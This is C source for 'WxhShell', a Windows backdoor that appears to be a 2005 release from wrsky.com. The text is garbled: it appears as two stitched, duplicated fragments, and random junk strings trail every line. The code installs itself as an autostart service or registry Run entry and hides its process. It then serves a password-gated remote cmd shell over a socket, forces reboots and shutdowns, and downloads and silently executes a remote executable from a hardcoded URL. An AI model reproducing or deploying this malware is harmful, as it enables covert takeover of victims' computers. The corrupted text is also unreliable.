    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,JN2q]QPP  
    if(Boot(SHUTDOWN)) fg%I?ou  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kG &.|  
    else { kW4/0PD  
    closesocket(wsh); X(?.*m@+TB  
    ExitThread(0); d[w'j/{  
    } B1JdkL 3h  
    break; utQE$0F  
    } nE+sbfC   
  // 获取shell *pk*ijdB  
  case 's': { r{$ip"f  
    CmdShell(wsh); Zb8Ty~.\P  
    closesocket(wsh); F5wCl2I  
    ExitThread(0); _$NFeqLww  
    break; = I Ls[p  
  } IaH8#3+a  
  // 退出 C&,&~^_F  
  case 'x': { #!OCEiT_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KFdV_e5lU  
    CloseIt(wsh); ]=2Ba<)m  
    break; b~Op1p  
    } CK 3]]{  
  // 离开 m7zen530  
  case 'q': { V2,54YE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U voX\  
    closesocket(wsh); GX&BUP\  
    WSACleanup(); =_\5h=`Yx  
    exit(1); "8&pT^  
    break; 7!#x-KR~5  
        } "nU5c4   
  } efy65+~GG  
  }  >zFe)  
yaMNt}y-q  
  // 提示信息 6,G1:BV{K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BdG~y1%:  
} "2i{ L '  
  } 3DV';  
.|JJyjRA+  
  return; v98=#k!F  
} xM8}Xo  
fB:9:NX  
// shell模块句柄 hq6fDRO/4  
int CmdShell(SOCKET sock) 1Zx|SBF  
{ aA-A>z  
STARTUPINFO si; 4!i`9w$$"  
ZeroMemory(&si,sizeof(si)); u01 'f-h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sD7Qt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L$cNxz0$  
PROCESS_INFORMATION ProcessInfo; #M$[C d I$  
char cmdline[]="cmd"; Jor >YB`X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -ZlBg~E  
  return 0; "yCCei,hA?  
} NEa :  
&W-L`aFd0  
// 自身启动模式 wOOBW0tj  
int StartFromService(void) dQYb)4ir  
{ V8ZE(0&II}  
typedef struct wdS^`nz|  
{ );_g2=:#  
  DWORD ExitStatus; {(w/_C9  
  DWORD PebBaseAddress; =${]j  
  DWORD AffinityMask; h$)(-_c3  
  DWORD BasePriority; ah1d0e P  
  ULONG UniqueProcessId; G+stt(k:  
  ULONG InheritedFromUniqueProcessId; x9Fga_  
}   PROCESS_BASIC_INFORMATION; g34<0%6jd  
K]Q#B|_T  
PROCNTQSIP NtQueryInformationProcess; PEac0rSW  
l Q]&:%^\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rmu5K$pl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p @&>{hi@  
j2c -01}  
  HANDLE             hProcess; S_/9eI~X  
  PROCESS_BASIC_INFORMATION pbi; <`i " 5`J  
15+>W4v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |!E>I  
  if(NULL == hInst ) return 0; -=iGl5P?  
"~(qp_AI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z8_m<uewz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ns[v.YDL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {a\O7$A\F  
5ppOG_  
  if (!NtQueryInformationProcess) return 0; |iKk'Rta4  
(9% ki$=}+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bXF>{%(}E  
  if(!hProcess) return 0; %@#+Xpa+  
^hzlR[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U`N|pPe:w  
AD#]PSB  
  CloseHandle(hProcess); V>ML-s9  
'9c`[^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GL[#XB>n  
if(hProcess==NULL) return 0; 4z#{nZG  
3sIW4Cs7)U  
HMODULE hMod; p4C w#)BaS  
char procName[255]; ZQXv-"  
unsigned long cbNeeded; u?5 d%]*  
_8P"/( `Rw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ) DXN|<A  
0]4kR8R3[  
  CloseHandle(hProcess); %tul(Z~<1  
[Oen{c9 A  
if(strstr(procName,"services")) return 1; // 以服务启动 0B fqEAl  
o(w!x!["  
  return 0; // 注册表启动 k4fc 5P  
} .) uUpY%K^  
B4yU}v  
// 主模块 |z\5Ik!fF]  
int StartWxhshell(LPSTR lpCmdLine) |x@)%QeC  
{ v,y nz'>)  
  SOCKET wsl; 2+zE|I.  
BOOL val=TRUE; (DJLq  
  int port=0; :Rv ?>I j  
  struct sockaddr_in door; r8g4NsRVtv  
;iR( Ir  
  if(wscfg.ws_autoins) Install(); tvXoF;Yq  
RO[Ko-m|/N  
port=atoi(lpCmdLine); J ^gtSn^  
HM57b>6  
if(port<=0) port=wscfg.ws_port; 1+6:K._C(m  
~\kJir  
  WSADATA data; s7.2EkGl=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kP~'C'5Ys  
<k?ofE1o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b~fX=!M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bwo-9B  
  door.sin_family = AF_INET; KiYO,nD;\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1c_gh12  
  door.sin_port = htons(port); q9fCoz  
' QGacV   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B?A c  
closesocket(wsl); KwK[)Cvv  
return 1; x{{QS$6v  
} !$Aijd s5  
@)s;u}H  
  if(listen(wsl,2) == INVALID_SOCKET) { Ot}fGiio  
closesocket(wsl); )OQhtxK  
return 1; WeDeD\zy  
} maAZI-H{  
  Wxhshell(wsl); {6{y"8  
  WSACleanup(); &7Frg`B&:  
AzAD76iNv  
return 0; \$:KfN>WY  
Fx,08  
} w}+#w8hu  
x{4Rm,Dxn  
// 以NT服务方式启动 GslUN% UJr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NbOeF7cq+  
{ j1 _ E^  
DWORD   status = 0; j,%@%upM  
  DWORD   specificError = 0xfffffff; MV +R$  
!w iW#PR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U |I>CDp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S Y\ UuZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S<}2y9F  
  serviceStatus.dwWin32ExitCode     = 0; ].F7. zi  
  serviceStatus.dwServiceSpecificExitCode = 0; @_"B0$,-i  
  serviceStatus.dwCheckPoint       = 0; 1=BDqSZ@9  
  serviceStatus.dwWaitHint       = 0; Td#D\d\R  
V.zKjoky@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @sQ^6FK0G  
  if (hServiceStatusHandle==0) return; +Qy*s1fit  
~3byAL  
status = GetLastError(); <@i.~EL  
  if (status!=NO_ERROR) v{{Cj83S+  
{ }OY]mAv-B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H.-jBFt}  
    serviceStatus.dwCheckPoint       = 0; dxqVZksg(9  
    serviceStatus.dwWaitHint       = 0; @X`~r8&  
    serviceStatus.dwWin32ExitCode     = status; b3(pRg[Fp  
    serviceStatus.dwServiceSpecificExitCode = specificError; BiGB<Jr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p@epl|IZp  
    return; 50!/%  
  } w-2&6o<n-  
GC?X>AC:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I9O9V[  
  serviceStatus.dwCheckPoint       = 0; V3;4,^=6Dd  
  serviceStatus.dwWaitHint       = 0; s( @w1tS.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &8'.Gw m}  
} %Q]u_0P*  
lfjY45=  
// 处理NT服务事件,比如:启动、停止 yXU-@~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y,qP$ 5xiq  
{ fR_ jYP 1  
switch(fdwControl) GwiG..Y]&  
{ HI/]s^aL  
case SERVICE_CONTROL_STOP: R=M"g|U6  
  serviceStatus.dwWin32ExitCode = 0; 0kN;SSX!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JA W}]:jC  
  serviceStatus.dwCheckPoint   = 0; tX;00g;U.  
  serviceStatus.dwWaitHint     = 0; 4d&#NP  
  { {FzL@!||  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ol,;BZHc\  
  } r fqw/o  
  return; xdWfrm$;ZA  
case SERVICE_CONTROL_PAUSE: (Wkli:Lq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2 qRX A  
  break; Y" 9 o  
case SERVICE_CONTROL_CONTINUE: ;\`~M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Enee\!@v  
  break; *8}Y0V\s  
case SERVICE_CONTROL_INTERROGATE: =4GJYhj  
  break; `|K,E  
}; b?Wg|D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K/RQ-xd4  
} jvx9b([<sG  
J6x\_]1:*  
// 标准应用程序主函数 /64jO?mp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8r[ZGUV  
{ ;/i"W   
vQrce&  
// 获取操作系统版本 pAS!;t=n,  
OsIsNt=GetOsVer(); rQiX7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KDwz!:ye  
%bf+Y7m  
  // 从命令行安装 \RN,i]c-g/  
  if(strpbrk(lpCmdLine,"iI")) Install(); _'&N01  
'!`%!Xg  
  // 下载执行文件 j0J}d _  
if(wscfg.ws_downexe) { VlKy6PSIg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ||v=in   
  WinExec(wscfg.ws_filenam,SW_HIDE); 8f>=.O*)  
} 8+vZ9!7  
L'{;V\d  
if(!OsIsNt) { @C)O[&Sk  
// 如果时win9x,隐藏进程并且设置为注册表启动 .(o]d{ '-}  
HideProc(); Li ,B,   
StartWxhshell(lpCmdLine);  f])?Gw  
} :0o $qz2  
else h"VQFqQy  
  if(StartFromService()) Tks;,C  
  // 以服务方式启动 cT{iMgdI?  
  StartServiceCtrlDispatcher(DispatchTable); M9Gs^  
else .4={K)kz|F  
  // 普通方式启动 5zJkPki  
  StartWxhshell(lpCmdLine); ) Kfk\  
~^/zCPy[w  
return 0; J5LP#o(V  
} Wd4fIegk  
Mq) n=M  
R_h(Z{d  
\C.%S +u  
=========================================== 1A^iUC5)  
i} 96, {  
.lu:S;JSnS  
Rde_I`Ru  
>4TJH lB}8  
|| ?B1  
" 5A1oZ+C#  
Rs B o\#`  
#include <stdio.h> oR}ir  
#include <string.h> y8: 0VZox  
#include <windows.h> Okk[}G)  
#include <winsock2.h> 4W8rb'B!Ay  
#include <winsvc.h> |Hn[XRsf  
#include <urlmon.h> q! W ~>c!  
dsDoPo0!  
#pragma comment (lib, "Ws2_32.lib") q3Umqvl)oe  
#pragma comment (lib, "urlmon.lib") G],+?E_,  
O<4i)Lx2  
#define MAX_USER   100 // 最大客户端连接数 "@B! 5s0  
#define BUF_SOCK   200 // sock buffer <[C 9F1]Ya  
#define KEY_BUFF   255 // 输入 buffer "_+X#P x  
Ku LZg  
#define REBOOT     0   // 重启 >`*iM  
#define SHUTDOWN   1   // 关机 ^vm[`M  
cJA0$)JP&  
#define DEF_PORT   5000 // 监听端口 x( w <U1  
O%9Cq}*  
#define REG_LEN     16   // 注册表键长度 'R*gSqx~  
#define SVC_LEN     80   // NT服务名长度 ($(6]?J(?7  
T(+F6d=1  
// 从dll定义API V5rnI\:7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~ C5iyXR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $gDp-7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n ! qm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X@+:O-$  
&n<jpMB  
// wxhshell配置信息 |Ix6D  
struct WSCFG { x$CpUy{6  
  int ws_port;         // 监听端口 V2es.I  
  char ws_passstr[REG_LEN]; // 口令 :{4G= UbAI  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6bnAVTL5  
  char ws_regname[REG_LEN]; // 注册表键名 ..FUg"sSO  
  char ws_svcname[REG_LEN]; // 服务名 +C;ZO6%w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )|LX_kyW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /og}e~q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MIa].S#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !~UI~-i'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "W6 nW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +WPi}  
V.WfP*~NJ  
}; /6{`6(p  
B2d$!Any  
// default Wxhshell configuration >0 !J]gK  
struct WSCFG wscfg={DEF_PORT, 4\pA^%73  
    "xuhuanlingzhe", d1e'!y}R5  
    1, js`zQx'  
    "Wxhshell", $Fz/&;KX!  
    "Wxhshell", ([|5(Omd\  
            "WxhShell Service", +^YV>;  
    "Wrsky Windows CmdShell Service", `m<="No  
    "Please Input Your Password: ", 6AUzS4O  
  1, =@pm-rI|-  
  "http://www.wrsky.com/wxhshell.exe", xHsH .f_{  
  "Wxhshell.exe" `^AbFV 3  
    }; `H$s -PX  
lk.Q6saI1  
// 消息定义模块 F/j=rs,*|D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @PwEom`a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?]fBds=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k`g+    
char *msg_ws_ext="\n\rExit."; w2]1ftY  
char *msg_ws_end="\n\rQuit."; `RGZ-Q{_  
char *msg_ws_boot="\n\rReboot..."; &8"a7$  
char *msg_ws_poff="\n\rShutdown..."; ^\N2 Iu>6  
char *msg_ws_down="\n\rSave to "; p5F[( H|9  
W\.f:"2qr  
char *msg_ws_err="\n\rErr!"; /<:9NP'^  
char *msg_ws_ok="\n\rOK!"; ;x^&@G8W`  
EoU}@MjM~  
char ExeFile[MAX_PATH]; ;ok];4`a  
int nUser = 0; 5B'-&.Aj+  
HANDLE handles[MAX_USER]; %c^]Rdl  
int OsIsNt; h>mQ; L  
ItM?nyA  
SERVICE_STATUS       serviceStatus; c09] Cp<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; { w!}:8p  
b@YSrjJ  
// 函数声明 rA=F:N 2  
int Install(void); ]`m|A1(  
int Uninstall(void); m.K"IXD  
int DownloadFile(char *sURL, SOCKET wsh); ]?``*{Zqy  
int Boot(int flag); ;k b^mJE  
void HideProc(void); ls*^ 3^O  
int GetOsVer(void); @TgCI`E   
int Wxhshell(SOCKET wsl); @Jm$<E  
void TalkWithClient(void *cs); 4] ?  
int CmdShell(SOCKET sock); oPa2GW8  
int StartFromService(void); *qOo,e  
int StartWxhshell(LPSTR lpCmdLine); d1y(Jt  
8.k"kXU@n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IR/0gP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GQF7]j/  
(59<Zo  
// 数据结构和表定义 yv3my aS  
SERVICE_TABLE_ENTRY DispatchTable[] = |lJXI:G G  
{ 1pzU=!R?-O  
{wscfg.ws_svcname, NTServiceMain}, D%^EG8i n.  
{NULL, NULL} \XRViG,|5  
}; ?-@h Nrx  
t9m`K9.\  
// 自我安装 s ^)W?3t]  
int Install(void) FNc[2sI  
{ ZLL0 6p   
  char svExeFile[MAX_PATH]; Nq*\{rb  
  HKEY key; 0w+hf3K+:  
  strcpy(svExeFile,ExeFile); c"O\fX  
L7D'wf  
// 如果是win9x系统,修改注册表设为自启动 [j93Mp  
if(!OsIsNt) { 0A 4(RLGg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f[|xp?ef  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ' J-(v  
  RegCloseKey(key); _|A)ueY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $~D`-+J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nm,v E7M  
  RegCloseKey(key); <[~x]-  
  return 0; Hlz4f+#I  
    } +!_^MBkk  
  } :eIB K  
} !5A nr  
else { W{-N,?z  
f2{4Y)  
// 如果是NT以上系统,安装为系统服务 ny=CtU!z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GuDus2#+  
if (schSCManager!=0) K] Eq"3  
{ /AMtT%91  
  SC_HANDLE schService = CreateService &)bar.vw/  
  ( ie$=3nZJ}  
  schSCManager, @L0wd>  
  wscfg.ws_svcname, 4yBe(&N-d  
  wscfg.ws_svcdisp, siD Sm  
  SERVICE_ALL_ACCESS, }*R" yp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %djx0sy  
  SERVICE_AUTO_START, }>Os@]*'^(  
  SERVICE_ERROR_NORMAL, <|2_1[,sl  
  svExeFile, -9aht}Z  
  NULL, sL\|y38'  
  NULL, G %#us3x  
  NULL, {Ua5bSbh  
  NULL, RsV<*s  
  NULL x(t} H8q  
  ); '6xn!dK  
  if (schService!=0) VS}Vl  
  { gH_r'j  
  CloseServiceHandle(schService); 8L|C&Ymj  
  CloseServiceHandle(schSCManager); ,$}Q#q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _aD x('  
  strcat(svExeFile,wscfg.ws_svcname); <4O=[Q5S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mR0@R;,p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); . }=;]=  
  RegCloseKey(key); 3)3'-wu  
  return 0; %hTe%(e  
    } Jp= (Q]ab  
  } |/<iydP  
  CloseServiceHandle(schSCManager); m.^6e f  
} @C!q S7k)  
} ED$gnFa3I  
.4^Paxz  
return 1; 3[e@mcO  
} 1:&$0jU&U  
BryMq !  
// 自我卸载 ZR#UoYjupb  
int Uninstall(void) PkVXn  
{ BFEo:!'F  
  HKEY key; NKB! _R+  
HFDg@@  
if(!OsIsNt) { ]3I_H+hU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N9*$'  
  RegDeleteValue(key,wscfg.ws_regname); xv%}xeE V  
  RegCloseKey(key); RV($G8U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k[zf`x^  
  RegDeleteValue(key,wscfg.ws_regname); ?.Kl/8ml  
  RegCloseKey(key); >eEf|tKO  
  return 0; 4o=G) KO{  
  } X'u`\<&W  
} |BW956fBU  
} }YSH8d  
else { 6 XG+YIG6w  
-[7.VP   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p5 [uVRZ  
if (schSCManager!=0) Kp&d9e{ Yc  
{ ?_^9e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); % idnm  
  if (schService!=0) @ =,J6  
  { ZHF@k'vm/9  
  if(DeleteService(schService)!=0) { T }8aj  
  CloseServiceHandle(schService); .K93VTzy  
  CloseServiceHandle(schSCManager); 0SDCo\  
  return 0; 9rid98~d  
  } q OXL(  
  CloseServiceHandle(schService); m0#hG x  
  } u( o@_6  
  CloseServiceHandle(schSCManager); 7dakj>JM  
} C9nNziws  
} /J6CSk  
-5qO}^i$a  
return 1; 1";~"p2(  
} ~Ep&:c4:D  
asJYGqdF  
// 从指定url下载文件 }.hBmhnZmI  
int DownloadFile(char *sURL, SOCKET wsh) ;zOZu~Q|'  
{ Qz<-xe`o8]  
  HRESULT hr; Hc+<(g   
char seps[]= "/"; S2NsqHJr  
char *token; bHMlh^{`%  
char *file; 49#-\=<gt  
char myURL[MAX_PATH]; iKK=A.g  
char myFILE[MAX_PATH]; 3a5H<3w_  
:{AN@zC0\  
strcpy(myURL,sURL); K l4",  
  token=strtok(myURL,seps); "s*{0'jo  
  while(token!=NULL) QxkfP%_g  
  { jsG9{/Ov3  
    file=token;  [:k'VXL  
  token=strtok(NULL,seps); _m&VdIPO  
  } zZRqb/20  
ysa"f+/  
GetCurrentDirectory(MAX_PATH,myFILE); 6RF01z|~_  
strcat(myFILE, "\\"); ENmo^O#,u  
strcat(myFILE, file); W`\H3?C`xQ  
  send(wsh,myFILE,strlen(myFILE),0); J\%:jg( m  
send(wsh,"...",3,0); e,x@?L*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o O|^ [b#  
  if(hr==S_OK) Q,4F=b  
return 0; QZfPd\Q5  
else mA."*)8VNg  
return 1; @Yg7F>s  
f^]AyU;F:  
} 55I>v3 w  
lt*k(JD  
// 系统电源模块 5FzRusNiA  
int Boot(int flag) I)x:NF6JO  
{ :.~a[\C@V<  
  HANDLE hToken; jTqba:q@  
  TOKEN_PRIVILEGES tkp; V.F 's(o  
5>=tNbk"s  
  if(OsIsNt) { eS"gHldz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Brl6r8LGi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SN+Bmdup  
    tkp.PrivilegeCount = 1; V?"^Ff3m!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =UV?Pi*M>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y[H_?f=;%  
if(flag==REBOOT) { )FP|}DCxQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0L1P'*LRU  
  return 0; %pt $S~j  
} 4/jY;YN,2  
else { }}2 kA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pFK |4u  
  return 0; (kHR$8GFM  
} `%=Jsi0.Nq  
  } bXW)n<y  
  else { sH]AB =_  
if(flag==REBOOT) { *HC8kD a%$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y1~SGg7(@  
  return 0; H )}WWXK  
} bDkE*4SRX  
else { 8N`$7^^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U VLcR  
  return 0; =?lT&|"  
} <_>6a7ra  
} /;0>*ft4  
z>{KeX:  
return 1; TAi\#cnl(6  
} E,|n'  
<Z;7=k  
// win9x进程隐藏模块 &SM$oy#?  
void HideProc(void) PYUY bRn  
{ DG-vTr  
GKSy|z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o ,!"E^  
  if ( hKernel != NULL ) So^`L s;S  
  { L7g&]%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vP4Ij  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s,k1KTXg<B  
    FreeLibrary(hKernel); IX(yajc[~M  
  } M~Slc*_%  
g#:XN  
return; GW#kaqC1  
} :2My|3H\  
qIT{`hX  
// 获取操作系统版本 85fDuJ9$Z"  
int GetOsVer(void) AN>`M?EQ  
{ u s0'7|{q  
  OSVERSIONINFO winfo; =tNiIU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tc(R-Wi  
  GetVersionEx(&winfo); VB\6S G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9c^EoYpy-  
  return 1; "{k )nr+7U  
  else $iPN5@F  
  return 0; J){\h-4  
} ZX;k*OrW  
}^<zVdwp  
// 客户端句柄模块 FNM"!z  
int Wxhshell(SOCKET wsl) :U q]~e  
{ >>cd3)b  
  SOCKET wsh; %MJ7u}  
  struct sockaddr_in client; \.a .'l  
  DWORD myID; (3h*sd5ly  
h yKg=Foq  
  while(nUser<MAX_USER) E?mp6R]}%  
{ Q75^7Ga_  
  int nSize=sizeof(client); ?<?C*W_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KUutC :  
  if(wsh==INVALID_SOCKET) return 1; +I n"OR%  
W~F/ZrT3A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a~7osRmp0  
if(handles[nUser]==0) 1.H!A@  
  closesocket(wsh); ~BZV:Es  
else KaE;4gwM  
  nUser++; bW^QH-t  
  } 3x0wk9lND  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KL  mB  
-C}59G8  
  return 0; BmFME0  
} _ICDtG^  
j~H`*R=ld#  
// 关闭 socket `_A?a_[*  
void CloseIt(SOCKET wsh) vx@p;1RU`  
{ [Be53U{=  
closesocket(wsh); "T%'Rp`j|  
nUser--; xg^^@o  
ExitThread(0); @%nUfG7TQ  
} X9A[  
|a$w;s>\  
// 客户端请求句柄 Z{4aGp*  
void TalkWithClient(void *cs) #ljg2:I+  
{ 9:i,WJO  
(y=o]Vy  
  SOCKET wsh=(SOCKET)cs; (I ds<n"  
  char pwd[SVC_LEN]; K=?F3tX^  
  char cmd[KEY_BUFF]; ]C6[`WF  
char chr[1]; Q3%# o+R>  
int i,j; h;p%EZ  
|K;Txe_  
  while (nUser < MAX_USER) { 9*+0j2uhQ  
llfiNEK5;  
if(wscfg.ws_passstr) { Z_ gV Ya  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); + 4g%?5'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rY?F6'}  
  //ZeroMemory(pwd,KEY_BUFF); Pd "mb~  
      i=0; d"6]?  
  while(i<SVC_LEN) { :@`(}5F4  
s|j<b#<xQ  
  // 设置超时 &9_\E{o%]  
  fd_set FdRead; ';\gR/L  
  struct timeval TimeOut; <GgtP55  
  FD_ZERO(&FdRead); u?3NBc$~A  
  FD_SET(wsh,&FdRead); AJ` v  
  TimeOut.tv_sec=8; AV 5\W}  
  TimeOut.tv_usec=0; '#i]SU&*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AOx3QgC^NO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FT/5 _1i  
o-=d|dWG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _#D\*0J  
  pwd=chr[0]; d<Q+D1  
  if(chr[0]==0xd || chr[0]==0xa) { iynS4]`U  
  pwd=0; EKd3$(^   
  break; Gz|%;  
  } VUC <0WV  
  i++; ^GrkIh0nL  
    } E'^]zW=9  
Eh@T W%9*  
  // 如果是非法用户,关闭 socket + lB+|yJ+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +#uNQ`1v  
} )*K<;WI WH  
+:]Aqyc\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EPe]-C`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NVc! g  
X ' #$e{  
while(1) { }\939Y  
aDl, K;GL  
  ZeroMemory(cmd,KEY_BUFF); g{W6a2  
blfE9Oy  
      // 自动支持客户端 telnet标准   {p e7]P?  
  j=0; X`3vSCn  
  while(j<KEY_BUFF) { B>|U-[A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8gbm"!  
  cmd[j]=chr[0]; B3>Uba*-)}  
  if(chr[0]==0xa || chr[0]==0xd) { t&9as}  
  cmd[j]=0; RCh$j&Tn  
  break; %g0z) J  
  } #x5N{8  
  j++; w38c  
    } |J<pLz  
~1=.?Ho  
  // 下载文件 ?z@v3(b[  
  if(strstr(cmd,"http://")) { MLt'YW^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U+*oI*  
  if(DownloadFile(cmd,wsh)) C~KWH@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xQ#Akd=  
  else (9KDtr*(2i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =(.mf  
  } 5]H))}9>d  
  else { XewXTd #x  
s("Cn/ZkS  
